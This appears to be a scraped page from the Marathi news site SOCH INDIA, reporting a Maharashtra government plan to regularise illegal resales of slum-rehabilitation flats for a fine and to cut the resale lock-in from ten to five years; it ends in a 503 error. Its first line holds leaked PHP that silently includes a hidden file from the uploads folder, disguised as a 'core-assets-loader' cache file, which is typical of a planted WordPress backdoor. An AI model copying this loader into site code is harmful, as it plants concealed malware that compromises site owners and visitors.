add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); ‘झोपु’तील घर विक्रीची अट शिथिल – SOCH INDIA

Forgot Password New Account
Menu

देश
‘झोपु’तील घर विक्रीची अट शिथिल

nobanner

झोपडपट्टी पुनर्वसन योजनेतून मिळालेल्या घरांची परस्पर खरेदी-विक्री करणाऱ्यांवर कठोर कारवाई करताना घुसखोरांना हुसकावून लावण्याच्या उच्च न्यायालयाच्या आदेशानंतर हवालदिल झालेल्या हजारो कुटुंबांना दिलासा देण्याचा निर्णय राज्य सरकारने घेतला आहे. त्यानुसार एसआरएच्या विविध इमारतींमध्ये आतापर्यंत झालेले बेकायदेशीर खरेदी-विक्रीचे व्यवहार दंड आकारून नियमित करण्यात येणार आहेत. यापुढे या योजनेतून मिळालेली घरे विक्रीची मर्यादा आता दहा वर्षांवरून पाच वर्षे करण्यात येणार असल्याची माहिती गृहनिर्माणमंत्री जितेंद्र आव्हाड यांनी मंगळवारी विधानसभेत दिली.

झोपडपट्टी पुनर्विकास योजनेतून मिळालेली घरे परस्पर दुसऱ्याला विकल्याची सुमारे १३ हजार प्रकरणे उघडकीस आली आहेत. अशा प्रकारे बेकायदेशीरपणे घरे खेरदी करणाऱ्यांना घुसखोर ठरवत त्यांना हुसकावून लावण्याचे आदेश उच्च न्यायालयाने दिले आहेत. त्यानुसार झोपडपट्टी पुनर्विकास प्राधिकरणाने सुरू केलेल्या कारवाईमुळे हजारो लोक हवालदिल झाले आहेत. विधानसभेत प्रश्नोत्तराच्या तासाला प्रकाश सुर्वे यांनी ही गंभीर बाब सभागृहाच्या निदर्शनास आणताना घरे विकत घेणाऱ्यांचा काय दोष, असा सवाल करीत त्यांना दिलासा देण्याची मागणी केली. त्यावर आव्हाड यांनी उत्तर दिले.

न्यायालयाच्या आदेशानंतर लोकांमध्ये निर्माण झालेल्या गोंधळाच्या पार्श्वभूमीवर याबाबत धोरण ठरविण्यासाठी जानेवारी २०१७ मध्ये तत्कालीन गृहनिर्माणमंत्र्यांच्या अध्यक्षतेखाली मंत्रिमंडळ उपसमिती गठित करण्यात आली होती. या समितीने मार्च २०१९ मध्ये आपला अहवाल शासनास सादर केला. त्यात झोपडपट्टी पुनर्विकास योजनेतून मिळालेल्या घरांच्या खरेदी-विक्री प्रकरणात रहिवाशांना दिलासा देताना असे व्यवहार रेडी रेकनरच्या प्रचलित दराच्या १० टक्के दंड आकारून नियमित करावेत. त्यासाठी एक अभय योजना राबवावी. तसेच अशी घरे पाच वर्षांनंतर विकण्याची मुभा द्यावी, अशा शिफारशी समितीने केल्या असून त्याची अंमलबजावणी करण्याचे सरकारने ठरविल्याचे आव्हाड यांनी सांगितले. मात्र हे प्रकरण न्यायालयाशी संबंधित असून मंत्रिमंडळाच्या निर्णयानुसार मंत्रिमंडळ उपसमितीच्या या अहवालावर महाधिवक्त्यांचा अभिप्राय मागविण्यात आला आहे. त्यांचा अभिप्राय प्राप्त होताच उच्च न्यायालयासमोर हा अहवाल मांडून त्यांची मान्यता घेतली जाईल, असेही त्यांनी स्पष्ट केले.

503 Service Unavailable

Service Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.